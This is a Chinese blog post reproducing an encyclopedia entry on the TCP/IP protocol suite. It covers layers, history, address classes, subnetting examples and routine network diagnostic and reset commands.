2013年5月31日星期五

TCP/IP协议

TCP/IP协议

百科名片

TCP/IP协议层级模型  
TCP/IP协议层级模型
Transmission Control Protocol/Internet Protocol的简写,中译名为传输控制协议/因特网互联协议,又名网络通讯协议,是Internet最基本的协议、Internet国际互联网络的基础,由网络层的IP协议和传输层的TCP协议组成。TCP/IP 定义了电子设备如何连入因特网,以及数据如何在它们之间传输的标准。协议采用了4层的层级结构,每一层都呼叫它的下一层所提供的网络来完成自己的需求。通俗而言:TCP负责发现传输的问题,一有问题就发出信号,要求重新传输,直到所有数据安全正确地传输到目的地。而IP是给因特网的每一台电脑规定一个地址。

编辑本段组成层次

TCP/IP协议不是TCPIP这两个协议的合称
TCP/IP协议模块关系
  TCP/IP协议模块关系
,而是指因特网整个TCP/IP协议族。
从协议分层模型方面来讲,TCP/IP由四个层次组成:网络接口层网络层传输层应用层
TCP/IP协议并不完全符合OSI的七层参考模型,OSI(Open System Interconnect)是传统的开放式系统互连参考模型,是一种通信协议的7层抽象的参考模型,其中每一层执行某一特定任务。该模型的目的是使各种硬件在相同的层次上相互通信。这7层是:物理层数据链路层(网络接口层)、网络层(网络层)、传输层会话层表示层应用层(应用层)。而TCP/IP通讯协议采用了4层的层级结构,每一层都呼叫它的下一层所提供的网络来完成自己的需求。由于ARPANET的设计者注重的是网络互联,允许通信子网网络接口层)采用已有的或是将来有的各种协议,所以这个层次中没有提供专门的协议。实际上,TCP/IP协议可以通过网络接口层连接到任何网络上,例如X.25交换网或IEEE802局域网。
TCP/IP结构对应OSI
OSI中的层
功能TCP/IP协议族
应用层文件传输,电子邮件,文件服务,虚拟终端TFTP,HTTP,SNMP,FTP,SMTP,DNS,Telnet 等等
表示层翻译、加密、压缩没有协议
会话层对话控制、建立同步点(续传)没有协议
传输层端口寻址、分段重组、流量、差错控制TCP,UDP
网络层逻辑寻址、路由选择IP,ICMP,OSPF,EIGRP,IGMP,RIP,ARP,RARP
数据链路层成帧、物理寻址、流量,差错,接入控制SLIP,CSLIP,PPP,MTU
物理层设置网络拓扑结构、比特传输、位同步ISO2110,IEEE802,IEEE802.2
注意tcp本身不具有数据传输中噪音导致的错误检测功能,但是实现超时的错误重传功能;

网络接口层

物理层是定义物理介质的各种特性:
TCP/IP结构对应OSI
TCP/IP
OSI
应用层
应用层
表示层
会话层
主机到主机层(TCP)(又称传输层)
网络层(IP)(又称互联层)
网络接口层(又称链路层)
数据链路层
物理层
1、机械特性
2、电子特性;
3、功能特性
4、规程特性。
数据链路层是负责接收IP数据包并通过网络发送,或者从网络上接收物理,抽出IP数据包,交给IP层。
常见的接口层协议有:
Ethernet 802.3、Token Ring 802.5、X.25Frame relayHDLC、PPP ATM等。

网络层

负责相邻计算机之间的通信。其功能包括三方面。
  1. 处理来自传输层的分组发送请求,收到请求后,将分组装入IP数据报,填充报头,选择去往信宿机的路径,然后将数据报发往适当的网络接口。
  2. 处理输入数据报:首先检查其合法性,然后进行寻径--假如该数据报已到达信宿机,则去掉报头,将剩下部分交给适当的传输协议;假如该数据报尚未到达信宿,则转发该数据报。
  3. 处理路径、流控、拥塞等问题。
网络层包括:IP(Internet Protocol)协议、ICMP(Internet Control Message Protocol)
控制报文协议、ARP(Address Resolution Protocol)地址转换协议、RARP(Reverse ARP)反向地址转换协议。
IP是网络层的核心,通过路由选择将下一条IP封装后交给接口层。IP数据报是无连接服务。
ICMP是网络层的补充,可以回送报文。用来检测网络是否通畅。
Ping命令就是发送ICMP的echo包,通过回送的echo relay进行网络测试。
ARP是正向地址解析协议,通过已知的IP,寻找对应主机的MAC地址
RARP是反向地址解析协议,通过MAC地址确定IP地址。比如无盘工作站还有DHCP服务。

传输层

提供应用程序间的通信。其功能包括:一、格式化信息流;二、提供可靠传输。为实现后者,传输层协议规定接收端必须发回确认,并且假如分组丢失,必须重新发送,即耳熟能详的“三次握手”过程,从而提供可靠的数据传输。
传输层协议主要是:传输控制协议TCP(Transmission Control Protocol)和用户数据报协议UDP(User Datagram protocol)。

应用层

向用户提供一组常用的应用程序,比如电子邮件、文件传输访问、远程登录等。远程登录TELNET使用TELNET协议提供在网络其它主机上注册的接口。TELNET会话提供了基于字符的虚拟终端。文件传输访问FTP使用FTP协议来提供网络内机器间的文件拷贝功能。
应用层协议主要包括如下几个:FTP、TELNET、DNS、SMTP、NFS、HTTP。
FTP(File Transfer Protocol)是文件传输协议,一般上传下载用FTP服务,数据端口是20H,控制端口是21H。
Telnet服务是用户远程登录服务,使用23H端口,使用明码传送,保密性差、简单方便。
DNS(Domain Name Service)是域名解析服务,提供域名到IP地址之间的转换,使用端口53。
SMTP(Simple Mail Transfer Protocol)是简单邮件传输协议,用来控制信件的发送、中转,使用端口25。
NFS(Network File System)是网络文件系统,用于网络中不同主机间的文件共享。
HTTP(Hypertext Transfer Protocol)是超文本传输协议,用于实现互联网中的WWW服务,使用端口80。
总结
OSI中的层
功能
TCP/IP协议族
应用层
文件传输,电子邮件,文件服务,虚拟终端
TFTP,HTTP,SNMP,FTP,SMTP,DNS,Telnet 等等
表示层
数据格式化,代码转换,数据加密
没有协议
会话层
解除或建立与别的接点的联系
没有协议
传输层
提供端对端的接口
TCP,UDP
网络层
数据包选择路由
IP,ICMP,OSPF,EIGRP,IGMP,RIP
数据链路层
传输有地址的帧以及错误检测功能
SLIP,CSLIP,PPP,MTU,ARP,RARP
物理层
以二进制数据形式在物理媒体上传输数据
ISO2110,IEEE802,IEEE802.2
网络层中的协议主要有IP,ICMP,IGMP等,由于它包 含了IP协议模块,所以它是所有基于TCP/IP协议网络的核心。在网络层中,IP模块完成大部分功能。ICMP和IGMP以及其他支持IP的协议帮助 IP完成特定的任务,如传输差错控制信息以及主机/路由器之间的控制电文等。网络层掌管着网络中主机间的信息传输。
传输层上的主要协议是TCP和UDP。正如网络层控制着主机之间的数据传递,传输层控制着那些将要进入网络层的数据。两个协议就是它管理这些数据的两种方式:TCP是一个基于连接的协议;UDP则是面向无连接服务的管理方式的协议。

编辑本段协议优势

在长期的发展过程中,IP逐渐取代其他网络。这里是一个简单的解释。IP传输通用数据。数据能够用于任何目的,并且能够很轻易地取代以前由专有数据网络传输的数据。下面是一个普通的过程:
一个专有的网络开发出来用于特定目的。如果它工作很好,用户将接受它。
为了便利提供IP服务,经常用于访问电子邮件或者聊天,通常以某种方式通过专有网络隧道实现。隧道方式最初可能非常没有效率,因为电子邮件和聊天只需要很低的带宽。
通过一点点的投资IP 基础设施逐渐在专有数据网络周边出现。
用IP取代专有服务的需求出现,经常是一个用户要求。
IP替代品过程遍布整个因特网,这使IP替代品比最初的专有网络更加有价值(由于网络效应)。
专有网络受到压制。许多用户开始维护使用IP替代品的复制品。
IP包的间接开销很小,少于1%,这样在成本上非常有竞争性。人们开发了一种能够将IP带到专有网络上的大部分用户的不昂贵的传输媒介。
大多数用户为了削减开销,专有网络被取消。

编辑本段主要缺点

第一,它在服务、接口与协议的区别上就不是很清楚。一个好的软件工程应该将功能与实现方法区分开来,TCP/IP恰恰没有很好地做到这点,就使得TCP/IP参考模型对于使用新的技术的指导意义是不够的。TCP/IP参考模型不适合于其他非TCP/IP协议簇。
第二,主机-网络层本身并不是实际的一层,它定义了网络层与数据链路层的接口。物理层与数据链路层的划分是必要和合理的,一个好的参考模型应该将它们区分开,而TCP/IP参考模型却没有做到这点。

编辑本段数据格式

数据帧:帧头+IP数据包+帧尾 (帧头包括源和目标主机MAC地址及类型,帧尾是校验字)
IP数据包:IP头部+TCP数据信息(IP头包括源和目标主机IP地址、类型、生存期等)
TCP数据信息:TCP头部+实际数据 (TCP头包括源和目标主机端口号、顺序号、确认号、校验字等)

编辑本段简史

产生背景

在 阿帕网(ARPA)产生运作之初,通过接口信号处理机实现互联的电脑并不多,大部分电脑相互之间不兼容。在一台电脑上完成的工作,很难拿到另一台电脑上去 用,想让硬件和软件都不一样的电脑联网,也有很多困难。当时美国的状况是,陆军用的电脑是DEC系列产品,海军用的电脑是Honeywell中标机器,空 军用的是IBM公司中标的电脑,每一个军种的电脑在各自的系里都运行良好,但却有一个大弊病:不能共享资源。
当时科学家们提出这样一个理念:“所有电脑生来都是平等的。”为了让这些“生来平等”的电脑能够实现“资源共享”就得在这些系统的标准之上,建立一种大家共同都必须遵守的标准,这样才能让不同的电脑按照一定的规则进行“谈判”,并且在谈判之后能“握手”。
在确定今天因特网各个电脑之间“谈判规则”过程中,最重要的人物当数瑟夫(Vinton G.Cerf)。正是他的努力,才使今天各种不同的电脑能按照协议上网互联。瑟夫也因此获得了与克莱因罗克(“因特网之父”)一样的美称“互联网之父”。
瑟夫从小喜欢标新立异,坚强而又热情。中学读书时,就被允许使用加州大学洛杉矶分校的电脑,他认为“为电脑编程序是个非常激动人心的事,…只要把程序编好,就可以让电脑做任何事情。”1965年,瑟夫从斯坦福大学毕业到IBM的一家公司当系统工程师, 工作没多久,瑟夫就觉得知识不够用,于是到加州大学洛杉矶分校攻读博士,那时,正逢阿帕网的建立,“接口信号处理机”(IMP)的研试及网络测评中心的建 立,瑟夫也成了著名科学家克莱因罗克手下的一位学生。瑟夫与另外三位年轻人(温菲尔德、克罗克、布雷登)参与了阿帕网的第一个节点的联接。此后不 久,BBN公司对工作中各种情况发展有很强判断能力、被公认阿帕网建成作出巨大贡献的鲍伯·卡恩(Bob Kahn)也来到了加州大学洛杉矶分校。在那段日子里,往往是卡恩提出需要什么软件,而瑟夫则通宵达旦地把符合要求的软件给编出来,然后他们一起测试这些 软件,直至能正常运行。
当时的主要格局是这样的,罗伯茨提出网络思想设计网络布局,卡恩设计阿帕网总体结构,克莱因罗克负责网络测评系统, 还有众多的科学家、研究生参与研究、试验。69年9月阿帕网诞生、运行后,才发现各个IMP连接的时候,需要考虑用各种电脑都认可的信号来打开通信管道, 数据通过后还要关闭通道。否则这些IMP不会知道什么时候应该接收信号,什么时候该结束,这就是我们现在所说的通信“协议”的概念。70年12月制定出来 了最初的通信协议由卡恩开发、瑟夫参与的“网络控制协议”(NCP),但要真正建立一个共同的标准很不容易,72年10月国际电脑通信大会结束后,科学家 们都在为此而努力。
“包切换”理论为网络之间的联接方式提供了理论基础。卡恩在自己研究的基础上,认识到只有深入理解各种操作系统的细 节才能建立一种对各种操作系统普适的协议,73年卡恩请瑟夫一起考虑这个协议的各个细节,他们这次合作的结果产生了目前在开放系统下的所有网民和网管人员 都在使用的“传输控制协议”(TCP,Transmission-Control Protocol)和“因特网协议”(IP,Internet Protocol)即TCP/IP协议。
通俗而言:TCP负责发现传输的问题,一有问题就发出信号,要求重新传输,直到所有数据安全正确地传输到目的地。而 IP是给因特网的每一台电脑规定一个地址。1974年12月,卡恩、瑟夫的第一份TCP协议详细说明正式发表。当时美国国防部与三个科学家小组签定了完成 TCP/IP的协议,结果由瑟夫领衔的小组捷足先登,首先制定出了通过详细定义的TCP/IP协议标准。当时作了一个试验,将信息包通过点对点的卫星网 络,再通过陆地电缆,再通过卫星网络,再由地面传输,贯串欧洲和美国,经过各种电脑系统,全程9.4万公里竟然没有丢失一个数据位,远距离的可靠数据传输 证明了TCP/IP协议的成功。
1983年1月1日,运行较长时期曾被人们习惯了的NCP被停止使用,TCP/IP协议作为因特网上所有主机间的共同协议,从此以后被作为一种必须遵守的规则被肯定和应用。

开发过程

在构建了阿帕网先驱之后,DARPA开始了其他数据传输技术的研究。NCP诞生后两年,1972年,罗伯特·卡恩(Robert E. Kahn)被DARPA的信息技术处理办公室雇佣,在那里他研究卫星数据包网络和地面无线数据包网络,并且意识到能够在它们之间沟通的价值。在1973年春天,已有的ARPANET网络控制程序(NCP)协议的开发者文顿·瑟夫(Vinton Cerf)加入到卡恩为ARPANET设计下一代协议而开发开放互连模型的工作中。
到了1973年夏天,卡恩和瑟夫很快就开发出了一个基本的改进形式,其中网络协议之间的不同通过使用一个公用互联网络协议而隐藏起来,并且可靠性由主机保证而不是像ARPANET那样由网络保证。(瑟夫称赞Hubert Zimmerman和Louis Pouzin(CYCLADES网络的设计者)在这个设计上发挥了重要影响。)
由于网络的作用减少到最小的程度,就有可能将任何网络连接到一起,而不用管它们不同的特点,这样就解决了卡恩最初的问题。(一个流行的说法提到瑟夫和卡恩工作的最终产品TCP/IP将在运行“两个罐子和一根弦”上,实际上它已经用在信鸽上。一个称为网关(后来改为路由器以免与网关混淆)的计算机为每个网络提供一个接口并且在它们之间来回传输数据包
这个设计思想更细的形式由瑟夫在斯坦福的网络研究组的1973年1974年期间开发出来。(处于同一时期的诞生了PARC通用包协议组的施乐PARC早期网络研究工作也有重要的技术影响;人们在两者之间摇摆不定。)
DARPA于是与BBN、斯坦福和伦敦大学签署了协议开发不同硬件平台上协议的运行版本。有四个版本被开发出来——TCP v1、TCP v2、在1978年春天分成TCP v3和IP v3的版本,后来就是稳定的TCP/IP v4——目前因特网仍然使用的标准协议。
1975年,两个网络之间的TCP/IP通信在斯坦福和伦敦大学(UCL)之间进行了测试。1977年11月,三个网络之间的TCP/IP测试在美国、英国和挪威之间进行。在1978年到1983年间,其他一些TCP/IP原型在多个研究中心之间开发出来。ARPANET完全转换到TCP/IP在1983年1月1日发生。[1]
1984年,美国国防部将TCP/IP作为所有计算机网络的标准。1985年,因特网架构理事会举行了一个三天有250家厂商代表参加的关于计算产业使用TCP/IP的工作会议,帮助协议的推广并且引领它日渐增长的商业应用。
2005年9月9日卡恩和瑟夫由于他们对于美国文化做出的卓越贡献被授予总统自由勋章

编辑本段概念解析

IP

IP层接收由更低层(网络接口层例如以太网设 备驱动程序)发来的数据包,并把该数据包发送到更高层---TCP或UDP层;相反,IP层也把从TCP或UDP层接收来的数据包传送到更低层。IP数据 包是不可靠的,因为IP并没有做任何事情来确认数据包是按顺序发送的或者没有被破坏。IP数据包中含有发送它的主机的地址(源地址)和接收它的主机的地址 (目的地址)。
高层的TCP和UDP服务在接收数据包时,通常假设包中的源地址是有效的。也可以这样说,IP地址形 成了许多服务的认证基础,这些服务相信数据包是从一个有效的主机发送来的。IP确认包含一个选项,叫作IP source routing,可以用来指定一条源地址和目的地址之间的直接路径。对于一些TCP和UDP的服务来说,使用了该选项的IP包好像是从路径上的最后一个系 统传递过来的,而不是来自于它的真实地点。这个选项是为了测试而存在的,说明了它可以被用来欺骗系统来进行平常是被禁止的连接。那么,许多依靠IP源地址 做确认的服务将产生问题并且会被非法入侵。

TCP

TCP是面向连接的通信协议,通过三次握手建立连接,通讯完成时要拆除连接,由于TCP是面向连接的所以只能用于点对点的通讯。
TCP提供的是一种可靠的数据流服务,采用“带重传的肯定确认”技术来实现传输的可靠性。TCP还采用一种称为“滑动窗口”的方式进行流量控制,所谓窗口实际表示接收能力,用以限制发送方的发送速度。
如果IP数据包中有已经封好的TCP数据包,那么IP将把它们向‘上’传送到TCP层。TCP将包排序并进行错误检查,同时实现虚电路间的连接。TCP数据包中包括序号和确认,所以未按照顺序收到的包可以被排序,而损坏的包可以被重传。
TCP将它的信息送到更高层的应用程序,例如Telnet的服务程序和客户程序。应用程序轮流将信息送回TCP层,TCP层便将它们向下传送到IP层,设备驱动程序和物理介质,最后到接收方。
面向连接的服务(例如Telnet、FTP、rlogin、X Windows和SMTP)需要高度的可靠性,所以它们使用了TCP。DNS在某些情况下使用TCP(发送和接收域名数据库),但使用UDP传送有关单个主机的信息。

UDP

UDP是面向无连接的通讯协议,UDP数据包括目的端口号和源端口号信息,由于通讯不需要连接,所以可以实现广播发送。
UDP通讯时不需要接收方确认,属于不可靠的传输,可能会出丢包现象,实际应用中要求在程序员编程验证。
UDP与TCP位于同一层,但它不管数据包的顺序、错误或重发。因此,UDP不被应用于那些使用虚电路的面向连接的 服务,UDP主要用于那些面向查询---应答的服务,例如NFS。相对于FTP或Telnet,这些服务需要交换的信息量较小。使用UDP的服务包括 NTP(网络时间协议)和DNS(DNS也使用TCP)。
欺骗UDP包比欺骗TCP包更容易,因为UDP没有建立初始化连接(也可以称为握手)(因为在两个系统间没有虚电路),也就是说,与UDP相关的服务面临着更大的危险。

ICMP

ICMP 与IP位于同一层,它被用来传送IP的的控制信息。它主要是用来提供有关通向目的地址的路径信息。ICMP的‘Redirect’信息通知主机通向其他系 统的更准确的路径,而‘Unreachable’信息则指出路径有问题。另外,如果路径不可用了,ICMP可以使TCP连接‘体面地’终止。PING是最 常用的基于ICMP的服务。

通讯端口

TCP和UDP服务通常有一个客户/服务器的关系,例如,一个Telnet服务进程开始在系统上处于空闲状态,等待着连接。用户使用Telnet客户程序与服务进程建立一个连接。客户程序向服务进程写入信息,服务进程读出信息并发出响应,客户程序读出响应并向用户报告。因而,这个连接是双工的,可以用来进行读写。
两个系统间的多重Telnet连接是如何相互确认并协调一致呢?TCP或UDP连接唯一地使用每个信息中的如下四项进行确认:
源IP地址 发送包的IP地址。
目的IP地址 接收包的IP地址。
源端口 源系统上的连接的端口。
目的端口 目的系统上的连接的端口。
端口是一个软件结构,被客户程序或服务进程用来发送和接收信息。一个端口对应一个16比特的数。服务进程通常使用一个固定的端口,例如,SMTP使用25、Xwindows使用6000。这些端口号是‘广为人知’的,因为在建立与特定的主机或服务的连接时,需要这些地址和目的地址进行通讯。

编辑本段IP地址

在Internet上连接的所有计算机,从大型机到微型计算机都是以独立的身份出现,我们称它为主机。为了实现各主机间的通信,每台主机都必须有一个唯一的网络地址。就好像每一个住宅都有唯一的门牌一样,才不至于在传输资料时出现混乱。
Internet的网络地址是指连入Internet网络的计算机的地址编号。所以,在Internet网络中,网络地址唯一地标识一台计算机。
我们都已经知道,Internet是由几千万台计算机互相连接而成的。而我们要确认网络上的每一台计算机,靠的就是能唯一标识该计算机的网络地址,这个地址就叫做IP(Internet Protocol的简写)地址,即用Internet协议语言表示的地址。
目前,在Internet里,IP地址是一个32位的二进制地址,为了便于记忆,将它们分为4组,每组8位,由小数点分开,用四个字节来表示,而且,用点分开的每个字节的数值范围是0~255,如202.116.0.1,这种书写方法叫做点数表示法。

地址分类

IP地址可确认网络中的任何一个网络和计算机,而要识别其它网络或其中的计算机,则是根据这些IP地址的分类来确定的。一般将IP地址按节点计算机所在网络规模的大小分为A,B,C三类,默认的网络屏蔽是根据IP地址中的第一个字段确定的。
1. A类地址
A类地址的表示范围为:1.0.0.1~126.255.255.255,默认网络屏蔽为:255.0.0.0;A 类地址分配给规模特别大的网络使用。A类网络用第一组数字表示网络本身的地址,后面三组数字作为连接于网络上的主机的地址。分配给具有大量主机(直接个人 用户)而局域网络个数较少的大型网络。例如IBM公司的网络。
127.0.0.0到127.255.255.255是保留地址,用做循环测试用的。
0.0.0.0到0.255.255.255也是保留地址,用做表示所有的IP地址。
一个A类IP地址由 1字节(每个字节是8位)的网络地址和3个字节主机地址组成,网络地址的最高位必须是“0”,即第一段数字范围为1~127。每个A类地址理论上可连接 16777214<256*256*256-2>;台主机(-2是因为主机中要用去一个网络号和一个广播号),Internet有126个可 用的A类地址。A类地址适用于有大量主机的大型网络。
2. B类地址
B类地址的表示范围为:128.0.0.1~191.255.255.255,默认网络屏蔽为:255.255.0.0;B类地址分配给一般的中型网络。B类网络用第一、二组数字表示网络的地址,后面两组数字代表网络上的主机地址。
169.254.0.0到169.254.255.255是保留地址。如果你的IP地址是自动获取IP地址,而你在网络上又没有找到可用的DHCP服务器,这时你将会从169.254.0.0到169.254.255.255中临时获得一个IP地址。
一个B类IP地址由2个字节的网络地址和2个字节的主机地址组成,网络地址的最高位必须是“10”,即第一段数字范 围为128~191。每个B类地址可连接65534(2^16-2,因为主机号的各位不能同时为0,1)台主机,Internet有 16383(2^14-1)个B类地址(因为B类网络地址128.0.0.0是不指派的,而可以指派的最小地址为128.1.0.0[COME06])。
3. C类地址
C类地址的表示范围为:192.0.0.1~223.255.255.255,默认网络屏蔽 为:255.255.255.0;C类地址分配给小型网络,如一般的局域网,它可连接的主机数量是最少的,采用把所属的用户分为若干的网段进行管理。C类 网络用前三组数字表示网络的地址,最后一组数字作为网络上的主机地址。
一个C类地址是由3个字节的网络地址和1个字节的主机地址组成,网络地址的最高位必须是“110”,即第一段数字范 围为192~223。每个C类地址可连接254台主机,Internet有2097152个C类地址段(32*256*256),有532676608个 地址(32*256*256*254)。
RFC 1918留出了3块IP地址空间(1个A类地址段,16个B类地址段,256个C类地址段)作为私有的内部使用的地址。在这个范围内的IP地址不能被路由到Internet骨干网上;Internet路由器将丢弃该私有地址。
IP地址类别 RFC 1918内部地址范围
A类 10.0.0.0到10.255.255.255
B类 172.16.0.0到172.31.255.255
C类 192.168.0.0到192.168.255.255
使用私有地址将网络连至Internet,需要将私有地址转换为公有地址。这个转换过程称为网络地址转换(Network Address Translation,NAT),通常使用路由器来执行NAT转换。
实际上,还存在着D类地址和E类地址。但这两类地址用途比较特殊,在这里只是简单介绍一下:
D类地址不分网络地址和主机地址,它的第1个字节的前四位固定为1110。D类地址范围:224.0.0.1到239.255.255.254。D类地址用于多点播送。D类地址称为组播地址(或称多播地址),供特殊协议向选定的节点发送信息时用。
E类地址保留给将来使用。
连接到Internet上的每台计算机,不论其IP地址属于哪类都与网络中的其它计算机处于平等地位,因为只有IP地址才是区别计算机的唯一标识。所以,以上IP地址的分类只适用于网络分类。
在Internet中,一台计算机可以有一个或多个IP地址,就像一个人可以有多个通信地址一样,但两台或多台计算机却不能共享一个IP地址。如果有两台计算机的IP地址相同,则会引起异常现象,无论哪台计算机都将无法正常工作。
顺便提一下几类特殊的IP地址:
1. 广播地址目的端为给定网络上的所有主机,一般主机段为全1
2. 单播地址目的端为指定网络上的单个主机地址
3. 组播地址目的端为同一组内的所有主机地址
4. 环回地址127.0.0.1在环回测试和广播测试时会使用

网关地址

若 要使两个完全不同的网络(异构网)连接在一起,一般使用网关,在Internet中两个网络也要通过一台称为网关的计算机实现互联。这台计算机能根据用户 通信目标计算机的IP地址,决定是否将用户发出的信息送出本地网络,同时,它还将外界发送给属于本地网络计算机的信息接收过来,它是一个网络与另一个网络 相联的通道。为了使TCP/IP协议能够寻址,该通道被赋予一个IP地址,这个IP地址称为网关地址。

编辑本段注意事项

内部地址和外部地址在局域网的IP地址分配中,并没有区别,都可以使用。
在局域网的IP地址分配中,子网屏蔽的“1”部分只要和对应的IP地址分类规定的前几个二进制数一致即可。

编辑本段子网划分

若 公司不上Internet,那一定不会烦恼IP地址的问题,因为可以任意使用所有的IP地址,不管是A类或是B类,这个时候不会想到要用子网,但若是上 Internet那IP地址便弥足珍贵了,目前全球一阵Internet热,IP地址已经愈来愈少了,而所申请的IP地址目前也趋饱和,而且只有经申请的 IP地址能在Internet使用,但对某些公司只能申请到一个C类的IP地址,但又有多个点需要使用,那这时便需要使用到子网,这就需要考虑子网的划 分,下面简介子网的原理及如何规划。

子网掩码

设 定任何网络上的任何设备不管是主机、个人电脑、路由器等皆需要设定IP地址,而跟随着IP地址的是所谓的子网掩码(NetMask,Subnet Mask),这个子网掩码主要的目的是由IP地址中也能获得网络编码,也就是说IP地址和子网掩码合作而得到网络编码,如下所示:
IP地址
192.10.10.6 11000000.00001010.00001010.00000110
子网掩码
255.255.255.0 11111111.11111111.11111111.00000000
AND
-------------------------------------------------------------------
Network Number
192.10.10.0 11000000.00001010.00001010.00000000
子网掩码有所谓的默认值,如下所示
类 IP地址范围 子网掩码
A 1.0.0.0-126.255.255.255 255.0.0.0
B 128.0.0.0-191.255.255.255 255.255.0.0
C 192.0.0.0-223.255.255.255 255.255.255.0
在预设的子网掩码(Net Mask)都只有255的值,在谈到子网掩码(Subnet Mask)时这个值便不一定是255了。在完整一组C类地址中如203.67.10.0-203.67.10.255 子网掩码255.255.255.0,203.67.10.0称之网络编码(Network Number,将IP 地址和子网掩码作和),而203.67.10.255是广播的IP地址,所以这两者皆不能使用,实际只能使用 203.67.10.1--203.67.10.254等254个IP地址,这是以255.255.255.0作子网掩码的结果,而所谓Subnet Msk尚可将整组C类地址分成数组网络编码,这要在子网掩码上作手脚,若是要将整组C类地址分成2个网络编码那子网掩码设定为 255.255.255.128,若是要将整组C类分成8组网络编码则子网掩码要为255.255.255.224,这是怎么来的,由以上知道网络编码是 由IP地址和子网掩码作AND而来的,而且将子网掩码以二进制表示法知道是1的会保留,而为0的去掉
192.10.10.193--11000000.00001010.00001010.11000001
255.255.255.0--11111111.11111111.11111111.00000000
--------------------------------------------------------------
192.10.10.0--11000000.00001010.00001010.00000000
以上是以255.255.255.0为子网掩码的结果,网络编码是192.10.10.0,若是使用255.255.255.224作子网掩码结果便有所不同
192.10.10.193--11000000.00001010.00001010.11000001
255.255.255.224--11111111.11111111.11111111.11100000
--------------------------------------------------------------
192.10.10.192--11000000.00001010.00001010.11000000
此时网络编码变成了192.10.10.192,这便是子网。那要如何决定所使用的子网掩 码,255.255.255.224以二进制表示法为11111111.11111111.11111111.11100000,变化是在最后一 组,11100000便是224,以三个位(Bit)可表示2的3次方便是8个网络编码
子网掩码二进制表示法可分几个网络
255.255.255.011111111.11111111.11111111.000000001
255.255.255.128
11111111.11111111.11111111.100000002
255.255.255.192
11111111.11111111.11111111.110000004
255.255.255.224
11111111.11111111.11111111.111000008
255.255.255.240
11111111.11111111.11111111.1111000016
255.255.255.248
11111111.11111111.11111111.1111100032
255.255.255.252
11111111.11111111.11111111.1111110064
以下使用255.255.255.224将C类地址203.67.10.0分成8组网络编码,各个网络编码及其广播IP地址及可使用之IP地址序号网络编码广播可使用之IP地址
(1)203.67.10.0--203.67.10.31
203.67.10.1--203.67.10.30
(2)203.67.10.32--203.67.10.63
203.67.10.33--203.67.10.62
(3)203.67.10.64--203.67.10.95
203.67.10.65--203.67.10.94
(4)203.67.10.96--203.67.10.127
203.67.10.97--203.67.10.126
(5)203.67.10.128--203.67.10.159
203.67.10.129--203.67.10.158
(6)203.67.10.160--203.67.10.191
203.67.10.161--203.67.10.190
(7)203.67.10.192--203.67.10.223
203.67.10.193--203.67.10.222
(8)203.67.10.224--203.67.10.255
203.67.10.225--203.67.10.254
可验证所使用的IP地址是否如上表所示
203.67.10.115--11001011.01000011.00001010.01110011
255.255.255.224--11111111.11111111.11111111.11100000
--------------------------------------------------------------
203.67.10.96--11001011.01000011.00001010.01100000
203.67.10.55--11001011.01000011.00001010.00110111
255.255.255.224--11111111.11111111.11111111.11100000
--------------------------------------------------------------
203.67.10.32--11001011.01000011.00001010.00100000
其它的子网掩码所分成的网络编码可自行以上述方法自行推演出来。

子网作用

使 用子网是要解决只有一组C类地址但需要数个网络编码的问题,并不是解决IP地址不够用的问题,因为使用子网反而能使用的IP地址会变少,子网通常是使用在 跨地域的网络互联之中,两者之间使用路由器连线,同时也上Internet,但只申请到一组C 类IP地址,过路由又需不同的网络,所以此时就必须使用到子网,当然二网络间也可以远程桥接(Remote Bridge,字面翻译)连接,那便没有使用子网的问题。

编辑本段概念区分

术语

IP申请的术语:
网络地址:在申请IP地址或是阐述TCP/IP协议的IP地址分类时,用到这个术语。它表示IP地址的代码序列中不可根据需要改变的部分。
主机地址:在申请IP地址或是阐述TCP/IP协议的IP地址分类时,用到这个术语。它表示IP地址的代码序列中能够根据需要来改变的部分。
子网屏蔽:在阐述TCP/IP协议的IP地址分类时,用到这个术语。在申请IP地址时,由它表示所申请到的IP地址的网络地址和主机地址。

子网划分

内网搭建的术语:
网络编码(网络号):经过子网划分后,子网掩码序列中“1”对应的IP地址部分。一个网络编码,对应一个网域(或网段)。包括申请到的网络地址的全部和主机地址的部分。
主机编码(主机号):经过子网划分后,子网掩码序列中“0”对应的IP地址部分。一个主机编码,对应一个网域(或网段)的一台计算机。包括申请到主机地址的部分。
子网掩码:用于子网划分,它将能够改变的主机地址分为主机编码和网络编码的一部分。同时,它将网络地址全部确定为网络编码。

编辑本段协议测试

全面的测试应包括局域网和互联网两个方面,因此应从局域网和互联网两个方面测试,以下是在实际工作中利用命令行测试TCP/IP配置步骤:
1. 单击“开始”/“运行”,输入CMD按回车,打开命令提示符窗口。
2.首先检查IP地址、子网掩码、默认网关、DNS服务器地址是否正确,输入命令ipconfig /all,按回车。此时显示了你的网络配置,观查是否正确。
3.输入ping 127.0.0.1,观查网卡是否能转发数据,如果出现“Request timed out”,表明配置差错或网络有问题。
4.Ping一个互联网地址,看是否有数据包传回,以验证与互联网的连接性。
5. Ping 一个局域网地址,观查与它的连通性。
6.用nslookup测试DNS解析是否正确,输入如nslookup ,查看是否能解析。
如果你的计算机通过了全部测试,则说明网络正常,否则网络可能有不同程度的问题。在此不展开详述。不过,要注意,在使用 ping命令时,有些公司会在其主机设置丢弃ICMP数据包,造成你的ping命令无法正常返回数据包,不防换个网站试试。

编辑本段主要特点

(1)TCP/IP协议不依赖于任何特定的计算机硬件或操作系统,提供开放的协议标准,即使不考虑Internet,TCP/IP协议也获得了广泛的支持。所以TCP/IP协议成为一种联合各种硬件和软件的实用系统。
(2)TCP/IP协议并不依赖于特定的网络传输硬件,所以TCP/IP协议能够集成各种各样的网络。用户能够使用 以太网(Ethernet)、令牌环网(Token Ring Network)、拨号线路(Dial-up line)、X.25网以及所有的网络传输硬件。
(3)统一的网络地址分配方案,使得整个TCP/IP设备在网中都具有惟一的地址
(4)标准化的高层协议,可以提供多种可靠的用户服务。

编辑本段协议重置

如果需要重新安装 TCP/IP 以使TCP/IP 堆栈恢复为原始状态。可以使用NetShell 实用程序重置TCP/IP 堆栈,使其恢复到初次安装操作系统时的状态。具体操作如下:
1.单击 开始--> 运行,输入"CMD" 后单击"确定";
2.在命令行模式输入命令
netsh int ip reset C:\resetlog.txt
(其中,Resetlog.txt记录命令结果的日志文件,一定要指定,这里指定了Resetlog.txt 日志文件及完整路径。)
运行结果可以查看C:\resetlog.txt (咨询中可根据用户实际操作情况提供)
运行此命令的结果与删除并重新安装TCP/IP 协议的效果相同。
注意
本操作具有一定的风险性,请在操作前备份重要数据,并根据操作熟练度酌情使用。

编辑本段版本更新

IPV4

